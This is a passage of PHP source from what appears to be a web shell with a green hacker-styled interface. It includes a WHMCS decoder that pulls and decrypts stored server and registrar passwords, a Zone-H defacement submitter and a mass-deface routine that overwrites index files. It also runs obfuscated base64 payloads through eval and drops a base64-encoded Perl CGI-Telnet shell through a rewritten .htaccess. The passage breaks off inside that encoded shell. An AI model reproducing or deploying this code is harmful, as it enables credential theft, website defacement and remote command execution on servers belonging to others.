1463 $string = base64_decode ($string);
1464 $tmp_iv = substr ($string, 0, $hash_length);
1465 $string = substr ($string, $hash_length, strlen ($string) - $hash_length);
1466 $iv = $out = '';
1467 $c = 0;
1468 while ($c < $hash_length)
1469 {
1470 $iv .= chr (ord ($tmp_iv[$c]) ^ ord ($hash_key[$c]));
1471 ++$c;
1472 }
1473 $key = $iv;
1474 $c = 0;
1475 while ($c < strlen ($string))
1476 {
1477 if (($c != 0 AND $c % $hash_length == 0))
1478 {
1479 $key = _hash ($key . substr ($out, $c - $hash_length, $hash_length));
1480 }
1481 $out .= chr (ord ($key[$c % $hash_length]) ^ ord ($string[$c]));
1482 ++$c;
1483 }
1484 return $out;
1485}
1486
1487function _hash ($string)
1488{
1489 if (function_exists ('sha1'))
1490 {
1491 $hash = sha1 ($string);
1492 }
1493 else
1494 {
1495 $hash = md5 ($string);
1496 }
1497 $out = '';
1498 $c = 0;
1499 while ($c < strlen ($hash))
1500 {
1501 $out .= chr (hexdec ($hash[$c] . $hash[$c + 1]));
1502 $c += 2;
1503 }
1504 return $out;
1505}
1506
1507echo "
1508<br><center><font size='5' color='#00ff00'><b>-=[ WHMCS Decoder ]=-</b></font></center>
1509<center>
1510<br>
1511
1512<FORM action='' method='post'>
1513<input type='hidden' name='form_action' value='2'>
1514<br>
1515<table class=tabnet style=width:320px;padding:0 1px;>
1516<tr><th colspan=2>WHMCS Decoder</th></tr>
1517<tr><td>db_host </td><td><input type='text' style='color:#00ff00;background-color:' class='inputz' size='38' name='db_host' value='localhost'></td></tr>
1518<tr><td>db_username </td><td><input type='text' style='color:#00ff00;background-color:' class='inputz' size='38' name='db_username' value=''></td></tr>
1519<tr><td>db_password</td><td><input type='text' style='color:#00ff00;background-color:' class='inputz' size='38' name='db_password' value=''></td></tr>
1520<tr><td>db_name</td><td><input type='text' style='color:#00ff00;background-color:' class='inputz' size='38' name='db_name' value=''></td></tr>
1521<tr><td>cc_encryption_hash</td><td><input style='color:#00ff00;background-color:' type='text' class='inputz' size='38' name='cc_encryption_hash' value=''></td></tr>
1522<td> <INPUT class='inputzbut' type='submit' style='color:#00ff00;background-color:' value='Submit' name='Submit'></td>
1523</table>
1524</FORM>
1525</center>
1526";
1527
1528 if($_POST['form_action'] == 2 )
1529 {
1530 //include($file);
1531 $db_host=($_POST['db_host']);
1532 $db_username=($_POST['db_username']);
1533 $db_password=($_POST['db_password']);
1534 $db_name=($_POST['db_name']);
1535 $cc_encryption_hash=($_POST['cc_encryption_hash']);
1536
1537
1538
1539 $link=mysql_connect($db_host,$db_username,$db_password) ;
1540 mysql_select_db($db_name,$link) ;
1541$query = mysql_query("SELECT * FROM tblservers");
1542while($v = mysql_fetch_array($query)) {
1543$ipaddress = $v['ipaddress'];
1544$username = $v['username'];
1545$type = $v['type'];
1546$active = $v['active'];
1547$hostname = $v['hostname'];
1548echo("<center><table border='1'>");
1549$password = decrypt ($v['password'], $cc_encryption_hash);
1550echo("<tr><td>Type</td><td>$type</td></tr>");
1551echo("<tr><td>Active</td><td>$active</td></tr>");
1552echo("<tr><td>Hostname</td><td>$hostname</td></tr>");
1553echo("<tr><td>Ip</td><td>$ipaddress</td></tr>");
1554echo("<tr><td>Username</td><td>$username</td></tr>");
1555echo("<tr><td>Password</td><td>$password</td></tr>");
1556
1557echo "</table><br><br></center>";
1558}
1559
1560 $link=mysql_connect($db_host,$db_username,$db_password) ;
1561 mysql_select_db($db_name,$link) ;
1562$query = mysql_query("SELECT * FROM tblregistrars");
1563echo("<center>Domain Reseller <br><table class=tabnet border='1'>");
1564echo("<tr><td>Registrar</td><td>Setting</td><td>Value</td></tr>");
1565while($v = mysql_fetch_array($query)) {
1566$registrar = $v['registrar'];
1567$setting = $v['setting'];
1568$value = decrypt ($v['value'], $cc_encryption_hash);
1569if ($value=="") {
1570$value=0;
1571}
1572$password = decrypt ($v['password'], $cc_encryption_hash);
1573echo("<tr><td>$registrar</td><td>$setting</td><td>$value</td></tr>");
1574}
1575}
1576}
1577
1578elseif(isset($_GET['x']) && ($_GET['x'] == 'zone'))
1579{
1580?>
1581<form action="?y=<?php echo $pwd; ?>&x=zone" method="post">
1582
1583<br><br><center>
1584<!-- Zone-H -->
1585<form action="" method='POST'><table><table class='tabnet'><tr>
1586<td style='background-color:#0000;padding-left:10px;'><tr><tr><th colspan="2"><h2>Zone-H Defacer</h2></th></tr></td></tr><tr><td height='45' colspan='2'><form method="post">
1587<input type="text" class="inputz" name="defacer" value="Nama Defacer" />
1588<select name="hackmode" class="inputz" >
1589<option >------------------------Pilih Salah Satu------------------------</option>
1590<option value="1">known vulnerability (i.e. unpatched system)</option>
1591<option value="2" >undisclosed (new) vulnerability</option>
1592<option value="3" >configuration / admin. mistake</option>
1593<option value="4" >brute force attack</option>
1594<option value="5" >social engineering</option>
1595<option value="6" >Web Server intrusion</option>
1596<option value="7" >Web Server external module intrusion</option>
1597<option value="8" >Mail Server intrusion</option>
1598<option value="9" >FTP Server intrusion</option>
1599<option value="10" >SSH Server intrusion</option>
1600<option value="11" >Telnet Server intrusion</option>
1601<option value="12" >RPC Server intrusion</option>
1602<option value="13" >Shares misconfiguration</option>
1603<option value="14" >Other Server intrusion</option>
1604<option value="15" >SQL Injection</option>
1605<option value="16" >URL Poisoning</option>
1606<option value="17" >File Inclusion</option>
1607<option value="18" >Other Web Application bug</option>
1608<option value="19" >Remote administrative panel access bruteforcing</option>
1609<option value="20" >Remote administrative panel access password guessing</option>
1610<option value="21" >Remote administrative panel access social engineering</option>
1611<option value="22" >Attack against administrator(password stealing/sniffing)</option>
1612<option value="23" >Access credentials through Man In the Middle attack</option>
1613<option value="24" >Remote service password guessing</option>
1614<option value="25" >Remote service password bruteforce</option>
1615<option value="26" >Rerouting after attacking the Firewall</option>
1616<option value="27" >Rerouting after attacking the Router</option>
1617<option value="28" >DNS attack through social engineering</option>
1618<option value="29" >DNS attack through cache poisoning</option>
1619<option value="30" >Not available</option>
1620</select>
1621
1622<select name="reason" class="inputz" >
1623<option >-------------Pilih Salah Satu---------------</option>
1624<option value="1" >Heh...just for fun!</option>
1625<option value="2" >Revenge against that website</option>
1626<option value="3" >Political reasons</option>
1627<option value="4" >As a challenge</option>
1628<option value="5" >I just want to be the best defacer</option>
1629<option value="6" >Patriotism</option>
1630<option value="7" >Not available</option>
1631</select>
1632<input type="hidden" name="action" value="zone">
1633<center><textarea style="background:black;outline:none;" name="domain" cols="116" rows="9" id="domains">List Of Domains</textarea>
1634<br /><input class='inputzbut' type="submit" value="Send Now !" name="SendNowToZoneH" /><br></center></table>
1635</form></td></tr></table></form>
1636<!-- End Of Zone-H -->
1637</td></center><br><br>
1638
1639<?php
1640echo '<center>';
1641 ob_start();
1642 $sub = get_loaded_extensions();
1643 if(!in_array("curl", $sub)){die('[-] Curl Is Not Supported !! ');}
1644 $hacker = $_POST['defacer'];
1645 $method = $_POST['hackmode'];
1646 $neden = $_POST['reason'];
1647 $site = $_POST['domain'];
1648
1649 if (empty($hacker)){die ("[-] You Must Fill the Attacker name !");}
1650 elseif($method == "--------SELECT--------") {die("[-] You Must Select The Method !");}
1651 elseif($neden == "--------SELECT--------") {die("[-] You Must Select The Reason");}
1652 elseif(empty($site)) {die("[-] You Must Inter the Sites List ! ");}
1653 $i = 0;
1654 $sites = explode("\n", $site);
1655 while($i < count($sites))
1656 {
1657 if(substr($sites[$i], 0, 4) != "http") {$sites[$i] = "http://".$sites[$i];}
1658 ZoneH("http://zone-h.org/notify/single", $hacker, $method, $neden, $sites[$i]);
1659 echo "Site : ".$sites[$i]." Defaced !\n";
1660 ++$i;
1661 }
1662 echo "[+] Sending Sites To Zone-H Has Been Completed Successfully !! ";
1663
1664 echo '</center>';
1665}
1666
1667/////////////////////////////////////////////////////////////////////////////////////////////
1668elseif(isset($_GET['x']) && ($_GET['x'] == 'chmod'))
1669{
1670?>
1671
1672<form action="?y=<?php echo $pwd; ?>&x=chmod" method="post">
1673<br><br><br><center>
1674
1675<form action="" method="get">
1676<table class="tabnet">
1677<font color="#00ff00"><b>Chmod file : </b></font> <input type="text" class="inputz" name="thefile" value="File Name" style="width:110px">
1678<input class="inputz" type="text" name="thefileval" value="0777" style="width:44px">
1679<span style="color: #00000 ;font-family: Tahoma, Geneva, sans-serif;font-size:12px;"></span>
1680<select class="inputz" name="comm">
1681<option>chmod</option>
1682<option>chown</option>
1683<option>chgrp</option><br>
1684<input class="inputzbut" type="submit" value="Exsekusi">
1685</select></table>
1686</form><br></center><br><br>
1687
1688<?php
1689if(isset($_GET['thefile'])){
1690$file = $_GET['thefile'];
1691$new = $_GET['thefileval'];
1692 if($_GET['comm'] == 'chmod')
1693 {
1694 $ch_ok = chmod($file,$new);
1695 echo "Permission Changed.";
1696 }
1697 else if($_GET['comm'] == 'chown')
1698 {
1699 $ch_ok = chown($file,$new);
1700 echo "Owner Changed.";
1701 }
1702 else if($_GET['comm'] == 'chgrp')
1703 {
1704 $ch_ok = chgrp($file,$new);
1705 echo "Group Changed.";
1706 }
1707}
1708}
1709//////////////////////////////////////////////////////////////////////////////////////////////
1710
1711elseif(isset($_GET['x']) && ($_GET['x'] == 'jumping')){
1712@eval(gzinflate(base64_decode($jumper))); "</div>"; }
1713
1714//////////////////////////////////////////////////////////////////////////////////////////////
1715
1716elseif(isset($_GET['x']) && ($_GET['x'] == 'config-scan')) {
1717@eval(base64_decode($scanconfig)); }
1718
1719//////////////////////////////////////////////////////////////////////////////////////////////
1720elseif(isset($_GET['x']) && ($_GET['x'] == 'string')){
1721$text = $_POST['code'];
1722?>
1723<center><form method="post"><br><br><br>
1724<textarea class='inputz' cols=80 rows=5 name="code"></textarea><br><br>
1725<select class='inputz' size="1" name="ope">
1726<option value="base64">Base64</option>
1727<option value="md5">md5</option>
1728<option value="whash">Crypt</option>
1729<option value="SHA1">SHA1</option>
1730<option value="urlencode">URL Encoding</option>
1731<option value="md4">md4</option>
1732<option value="SHA256">SHA256</option>
1733</select> <input class='inputzbut' type='submit' value='encrypt'></form>
1734
1735<?php $op = $_POST["ope"];
1736switch ($op) {case 'base64':
1737$codi=base64_encode($text);
1738break;case 'md5' : $codi=md5($text);
1739break;case 'whash' : $codi=crypt($text);
1740break;case 'SHA1' : $codi=sha1($text);
1741break;case 'urlencode' : $codi=urlencode($text);
1742break;case 'md4' : $codi=hash("md4",$text);
1743break;case 'SHA256' : $codi=hash("sha256",$text);
1744break;default:break;}echo '<textarea cols=80 rows=10 class="inputz" readonly>'.$codi.'</textarea></center>';
1745}
1746
1747/////////////////////////////////////////////////////////////////////////////////////////////
1748
1749elseif(isset($_GET['x']) && ($_GET['x'] == 'mass'))
1750{
1751echo "<center/><br/><b><font color=#00ff00>-=[ Mass Deface ]=-</font></b><br>";
1752error_reporting(0);?>
1753<form ENCTYPE="multipart/form-data" action="<?php $_SERVER['PHP_SELF']?>" method='post'>
1754<td><table><table class="tabnet" >
1755<form hethot='post'>
1756<tr>
1757 <tr>
1758 <td> Folder</td><td><input class ='inputz' type='text' name='path' size='60' value="<?php echo getcwd();?>"></td>
1759 </tr><br>
1760 <tr>
1761 <td>file name</td><td><input class ='inputz' type='text' name='file' size='60' value="index.php"></td>
1762 </tr>
1763</tr>
1764<th colspan='2'><b>Index code</b></th><br></table>
1765<textarea style='background:black;outline:none;' name='index' rows='10' cols='67'>Copy Script Anda Disini</textarea><br>
1766<center><input class='inputzbut' type='submit' value=" Deface "></center></form></table><br></form>
1767
1768<?php $mainpath=$_POST[path];$file=$_POST[file];$dir=opendir("$mainpath");$code=base64_encode($_POST[index]);$indx=base64_decode($code);while($row=readdir($dir)){$start=@fopen("$row/$file","w+");$finish=@fwrite($start,$indx);if ($finish){echo "$row/$file > Done<br><br>";}}}
1769
1770//////////////////////////////////////////////////////////////////////////////////////////////
1771
1772elseif(isset($_GET['x']) && ($_GET['x'] == 'cgi')) {
1773echo "<center/><br/><b><font color=blue>+--==[ cgitelnet.v1 Bypass Exploit]==--+ </font></b><br><br>";
1774 mkdir('cgitelnet1', 0755);
1775 chdir('cgitelnet1');
1776 $kokdosya = ".htaccess";
1777 $dosya_adi = "$kokdosya";
1778 $dosya = fopen ($dosya_adi , 'w') or die ("Dosya açılamadı!");
1779 $metin = "Options FollowSymLinks MultiViews Indexes ExecCGI
1780
1781AddType application/x-httpd-cgi .cin
1782
1783AddHandler cgi-script .cin
1784AddHandler cgi-script .cin";
1785 fwrite ( $dosya , $metin ) ;
1786 fclose ($dosya);
1787$cgishellizocin = 'IyEvdXNyL2Jpbi9wZXJsCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBDb3B5cmlnaHQgYW5kIExpY2VuY2UKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIENHSS1UZWxuZXQgVmVyc2lvbiAxLjAgZm9yIE5UIGFuZCBVbml4IDogUnVuIENvbW1hbmRzIG9uIHlvdXIgV2ViIFNlcnZlcgojCiMgQ29weXJpZ2h0IChDKSAyMDAxIFJvaGl0YWIgQmF0cmEKIyBQZXJtaXNzaW9uIGlzIGdyYW50ZWQgdG8gdXNlLCBkaXN0cmlidXRlIGFuZCBtb2RpZnkgdGhpcyBzY3JpcHQgc28gbG9uZwojIGFzIHRoaXMgY29weXJpZ2h0IG5vdGljZSBpcyBsZWZ0IGludGFjdC4gSWYgeW91IG1ha2UgY2hhbmdlcyB0byB0aGUgc2NyaXB0CiMgcGxlYXNlIGRvY3VtZW50IHRoZW0gYW5kIGluZm9ybSBtZS4gSWYgeW91IHdvdWxkIGxpa2UgYW55IGNoYW5nZXMgdG8gYmUgbWFkZQojIGluIHRoaXMgc2NyaXB0LCB5b3UgY2FuIGUtbWFpbCBtZS4KIwojIEF1dGhvcjogUm9oaXRhYiBCYXRyYQojIEF1dGhvciBlLW1haWw6IHJvaGl0YWJAcm9oaXRhYi5jb20KIyBBdXRob3IgSG9tZXBhZ2U6IGh0dHA6Ly93d3cucm9oaXRhYi5jb20vCiMgU2NyaXB0IEhvbWVwYWdlOiBodHRwOi8vd3d3LnJvaGl0YWIuY29tL2NnaXNjcmlwdHMvY2dpdGVsbmV0Lmh0bWwKIyBQcm9kdWN0IFN1cHBvcnQ6IGh0dHA6Ly93d3cucm9oaXRhYi5jb20vc3VwcG9ydC8KIyBEaXNjdXNzaW9uIEZvcnVtOiBodHRwOi8vd3d3LnJvaGl0YWIuY29tL2Rpc2N1c3MvCiMgTWFpbGluZyBMaXN0OiBodHRwOi8vd3d3LnJvaGl0YWIuY29tL21saXN0LwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgSW5zdGFsbGF0aW9uCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUbyBpbnN0YWxsIHRoaXMgc2NyaXB0CiMKIyAxLiBNb2RpZnkgdGhlIGZpcnN0IGxpbmUgIiMhL3Vzci9iaW4vcGVybCIgdG8gcG9pbnQgdG8gdGhlIGNvcnJlY3QgcGF0aCBvbgojICAgIHlvdXIgc2VydmVyLiBGb3IgbW9zdCBzZXJ2ZXJzLCB5b3UgbWF5IG5vdCBuZWVkIHRvIG1vZGlmeSB0aGlzLgojIDIuIENoYW5nZSB0aGUgcGFzc3dvcmQgaW4gdGhlIENvbmZpZ3VyYXRpb24gc2VjdGlvbiBiZWxvdy4KIyAzLiBJZiB5b3UncmUgcnVubmluZyB0aGUgc2NyaXB0IHVuZGVyIFdpbmRvd3MgTlQsIHNldCAkV2luTlQgPSAxIGluIHRoZQojICAgIENvbmZpZ3VyYXRpb24gU2VjdGlvbiBiZWxvdy4KIyA0LiBVcGxvYWQgdGhlIHNjcmlwdCB0byBhIGRpcmVjdG9yeSBvbiB5b3VyIHNlcnZlciB3aGljaCBoYXMgcGVybWlzc2lvbnMgdG8KIyAgICBleGVjdXRlIENHSSBzY3JpcHRzLiBUaGlzIGlzIHVzdWFsbHkgY2dpLWJpbi4gTWFrZSBzdXJlIHRoYXQgeW91IHVwbG9hZAojICAgIHRoZSBzY3JpcHQgaW4gQVNDSUkgbW9kZS4KIyA1LiBDaGFuZ2UgdGhlIHBlcm1pc3Npb24gKENITU9EKSBvZiB0aGUgc2NyaXB0IHRvIDc1NS4KIyA2LiBPcGVuIHRoZSBzY3JpcHQgaW4geW91ciB3ZWIgYnJvd3Nlci4gSWYgeW91IHVwbG9hZGVkIHRoZSBzY3JpcHQgaW4KIyAgICBjZ2ktYmluLCB0aGlzIHNob3VsZCBiZSBodHRwOi8vd3d3LnlvdXJzZXJ2ZXIuY29tL2NnaS1iaW4vY2dpdGVsbmV0LnBsCiMgNy4gTG9naW4gdXNpbmcgdGhlIHBhc3N3b3JkIHRoYXQgeW91IHNwZWNpZmllZCBpbiBTdGVwIDIuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBDb25maWd1cmF0aW9uOiBZb3UgbmVlZCB0byBjaGFuZ2Ugb25seSAkUGFzc3dvcmQgYW5kICRXaW5OVC4gVGhlIG90aGVyCiMgdmFsdWVzIHNob3VsZCB3b3JrIGZpbmUgZm9yIG1vc3Qgc3lzdGVtcy4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQokUGFzc3dvcmQgPSAiMTIzNDU2IjsJCSMgQ2hhbmdlIHRoaXMuIFlvdSB3aWxsIG5lZWQgdG8gZW50ZXIgdGhpcwoJCQkJIyB0byBsb2dpbi4KCiRXaW5OVCA9IDA7CQkJIyBZb3UgbmVlZCB0byBjaGFuZ2UgdGhlIHZhbHVlIG9mIHRoaXMgdG8gMSBpZgoJCQkJIyB5b3UncmUgcnVubmluZyB0aGlzIHNjcmlwdCBvbiBhIFdpbmRvd3MgTlQKCQkJCSMgbWFjaGluZS4gSWYgeW91J3JlIHJ1bm5pbmcgaXQgb24gVW5peCwgeW91CgkJCQkjIGNhbiBsZWF2ZSB0aGUgdmFsdWUgYXMgaXQgaXMuCgokTlRDbWRTZXAgPSAiJiI7CQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcwoJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBXaW5kb3dzIE5ULgoKJFVuaXhDbWRTZXAgPSAiOyI7CQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcwoJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBVbml4LgoKJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gPSAxMDsJIyBUaW1lIGluIHNlY29uZHMgYWZ0ZXIgY29tbWFuZHMgd2lsbCBiZSBraWxsZWQKCQkJCSMgRG9uJ3Qgc2V0IHRoaXMgdG8gYSB2ZXJ5IGxhcmdlIHZhbHVlLiBUaGlzIGlzCgkJCQkjIHVzZWZ1bCBmb3IgY29tbWFuZHMgdGhhdCBtYXkgaGFuZyBvciB0aGF0CgkJCQkjIHRha2UgdmVyeSBsb25nIHRvIGV4ZWN1dGUsIGxpa2UgImZpbmQgLyIuCgkJCQkjIFRoaXMgaXMgdmFsaWQgb25seSBvbiBVbml4IHNlcnZlcnMuIEl0IGlzCgkJCQkjIGlnbm9yZWQgb24gTlQgU2VydmVycy4KCiRTaG93RHluYW1pY091dHB1dCA9IDE7CQkjIElmIHRoaXMgaXMgMSwgdGhlbiBkYXRhIGlzIHNlbnQgdG8gdGhlCgkJCQkjIGJyb3dzZXIgYXMgc29vbiBhcyBpdCBpcyBvdXRwdXQsIG90aGVyd2lzZQoJCQkJIyBpdCBpcyBidWZmZXJlZCBhbmQgc2VuZCB3aGVuIHRoZSBjb21tYW5kCgkJCQkjIGNvbXBsZXRlcy4gVGhpcyBpcyB1c2VmdWwgZm9yIGNvbW1hbmRzIGxpa2UKCQkJCSMgcGluZywgc28gdGhhdCB5b3UgY2FuIHNlZSB0aGUgb3V0cHV0IGFzIGl0CgkJCQkjIGlzIGJlaW5nIGdlbmVyYXRlZC4KCiMgRE9OJ1QgQ0hBTkdFIEFOWVRISU5HIEJFTE9XIFRISVMgTElORSBVTkxFU1MgWU9VIEtOT1cgV0hBVCBZT1UnUkUgRE9JTkcgISEKCiRDbWRTZXAgPSAoJFdpbk5UID8gJE5UQ21kU2VwIDogJFVuaXhDbWRTZXApOwokQ21kUHdkID0gKCRXaW5OVCA/ICJjZCIgOiAicHdkIik7CiRQYXRoU2VwID0gKCRXaW5OVCA/ICJcXCIgOiAiLyIpOwokUmVkaXJlY3RvciA9ICgkV2luTlQgPyAiIDI+JjEgMT4mMiIgOiAiIDE+JjEgMj4mMSIpOwoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFJlYWRzIHRoZSBpbnB1dCBzZW50IGJ5IHRoZSBicm93c2VyIGFuZCBwYXJzZXMgdGhlIGlucHV0IHZhcmlhYmxlcy4gSXQKIyBwYXJzZXMgR0VULCBQT1NUIGFuZCBtdWx0aXBhcnQvZm9ybS1kYXRhIHRoYXQgaXMgdXNlZCBmb3IgdXBsb2FkaW5nIGZpbGVzLgojIFRoZSBmaWxlbmFtZSBpcyBzdG9yZWQgaW4gJGlueydmJ30gYW5kIHRoZSBkYXRhIGlzIHN0b3JlZCBpbiAkaW57J2ZpbGVkYXRhJ30uCiMgT3RoZXIgdmFyaWFibGVzIGNhbiBiZSBhY2Nlc3NlZCB1c2luZyAkaW57J3Zhcid9LCB3aGVyZSB2YXIgaXMgdGhlIG5hbWUgb2YKIyB0aGUgdmFyaWFibGUuIE5vdGU6IE1vc3Qgb2YgdGhlIGNvZGUgaW4gdGhpcyBmdW5jdGlvbiBpcyB0YWtlbiBmcm9tIG90aGVyIENHSQojIHNjcmlwdHMuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFJlYWRQYXJzZSAKewoJbG9jYWwgKCppbikgPSBAXyBpZiBAXzsKCWxvY2FsICgkaSwgJGxvYywgJGtleSwgJHZhbCk7CgkKCSRNdWx0aXBhcnRGb3JtRGF0YSA9ICRFTlZ7J0NPTlRFTlRfVFlQRSd9ID1+IC9tdWx0aXBhcnRcL2Zvcm0tZGF0YTsgYm91bmRhcnk9KC4rKSQvOwoKCWlmKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgIkdFVCIpCgl7CgkJJGluID0gJEVOVnsnUVVFUllfU1RSSU5HJ307Cgl9CgllbHNpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJQT1NUIikKCXsKCQliaW5tb2RlKFNURElOKSBpZiAkTXVsdGlwYXJ0Rm9ybURhdGEgJiAkV2luTlQ7CgkJcmVhZChTVERJTiwgJGluLCAkRU5WeydDT05URU5UX0xFTkdUSCd9KTsKCX0KCgkjIGhhbmRsZSBmaWxlIHVwbG9hZCBkYXRhCglpZigkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLykKCXsKCQkkQm91bmRhcnkgPSAnLS0nLiQxOyAjIHBsZWFzZSByZWZlciB0byBSRkMxODY3IAoJCUBsaXN0ID0gc3BsaXQoLyRCb3VuZGFyeS8sICRpbik7IAoJCSRIZWFkZXJCb2R5ID0gJGxpc3RbMV07CgkJJEhlYWRlckJvZHkgPX4gL1xyXG5cclxufFxuXG4vOwoJCSRIZWFkZXIgPSAkYDsKCQkkQm9keSA9ICQnOwogCQkkQm9keSA9fiBzL1xyXG4kLy87ICMgdGhlIGxhc3QgXHJcbiB3YXMgcHV0IGluIGJ5IE5ldHNjYXBlCgkJJGlueydmaWxlZGF0YSd9ID0gJEJvZHk7CgkJJEhlYWRlciA9fiAvZmlsZW5hbWU9XCIoLispXCIvOyAKCQkkaW57J2YnfSA9ICQxOyAKCQkkaW57J2YnfSA9fiBzL1wiLy9nOwoJCSRpbnsnZid9ID1+IHMvXHMvL2c7CgoJCSMgcGFyc2UgdHJhaWxlcgoJCWZvcigkaT0yOyAkbGlzdFskaV07ICRpKyspCgkJeyAKCQkJJGxpc3RbJGldID1+IHMvXi4rbmFtZT0kLy87CgkJCSRsaXN0WyRpXSA9fiAvXCIoXHcrKVwiLzsKCQkJJGtleSA9ICQxOwoJCQkkdmFsID0gJCc7CgkJCSR2YWwgPX4gcy8oXihcclxuXHJcbnxcblxuKSl8KFxyXG4kfFxuJCkvL2c7CgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7CgkJCSRpbnska2V5fSA9ICR2YWw7IAoJCX0KCX0KCWVsc2UgIyBzdGFuZGFyZCBwb3N0IGRhdGEgKHVybCBlbmNvZGVkLCBub3QgbXVsdGlwYXJ0KQoJewoJCUBpbiA9IHNwbGl0KC8mLywgJGluKTsKCQlmb3JlYWNoICRpICgwIC4uICQjaW4pCgkJewoJCQkkaW5bJGldID1+IHMvXCsvIC9nOwoJCQkoJGtleSwgJHZhbCkgPSBzcGxpdCgvPS8sICRpblskaV0sIDIpOwoJCQkka2V5ID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkaW57JGtleX0gLj0gIlwwIiBpZiAoZGVmaW5lZCgkaW57JGtleX0pKTsKCQkJJGlueyRrZXl9IC49ICR2YWw7CgkJfQoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1MIFBhZ2UgSGVhZGVyCiMgQXJndW1lbnQgMTogRm9ybSBpdGVtIG5hbWUgdG8gd2hpY2ggZm9jdXMgc2hvdWxkIGJlIHNldAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludFBhZ2VIZWFkZXIKewoJJEVuY29kZWRDdXJyZW50RGlyID0gJEN1cnJlbnREaXI7CgkkRW5jb2RlZEN1cnJlbnREaXIgPX4gcy8oW15hLXpBLVowLTldKS8nJScudW5wYWNrKCJIKiIsJDEpL2VnOwoJcHJpbnQgIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sXG5cbiI7CglwcmludCA8PEVORDsKPGh0bWw+CjxoZWFkPgo8dGl0bGU+Q0dJLVRlbG5ldCBWZXJzaW9uIDEuMDwvdGl0bGU+CiRIdG1sTWV0YUhlYWRlcgo8L2hlYWQ+Cjxib2R5IG9uTG9hZD0iZG9jdW1lbnQuZi5AXy5mb2N1cygpIiBiZ2NvbG9yPSIjMDAwMDAwIiB0b3BtYXJnaW49IjAiIGxlZnRtYXJnaW49IjAiIG1hcmdpbndpZHRoPSIwIiBtYXJnaW5oZWlnaHQ9IjAiPgo8dGFibGUgYm9yZGVyPSIxIiB3aWR0aD0iMTAwJSIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIyIj4KPHRyPgo8dGQgYmdjb2xvcj0iI0MyQkZBNSIgYm9yZGVyY29sb3I9IiMwMDAwODAiIGFsaWduPSJjZW50ZXIiPgo8Yj48Zm9udCBjb2xvcj0iIzAwMDA4MCIgc2l6ZT0iMiI+IzwvZm9udD48L2I+PC90ZD4KPHRkIGJnY29sb3I9IiMwMDAwODAiPjxmb250IGZhY2U9IlZlcmRhbmEiIHNpemU9IjIiIGNvbG9yPSIjRkZGRkZGIj48Yj5DR0ktVGVsbmV0IFZlcnNpb24gMS4wIC0gQ29ubmVjdGVkIHRvICRTZXJ2ZXJOYW1lPC9iPjwvZm9udD48L3RkPgo8L3RyPgo8dHI+Cjx0ZCBjb2xzcGFuPSIyIiBiZ2NvbG9yPSIjQzJCRkE1Ij48Zm9udCBmYWNlPSJWZXJkYW5hIiBzaXplPSIyIj4KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9dXBsb2FkJmQ9JEVuY29kZWRDdXJyZW50RGlyIj5VcGxvYWQgRmlsZTwvYT4gfCAKPGEg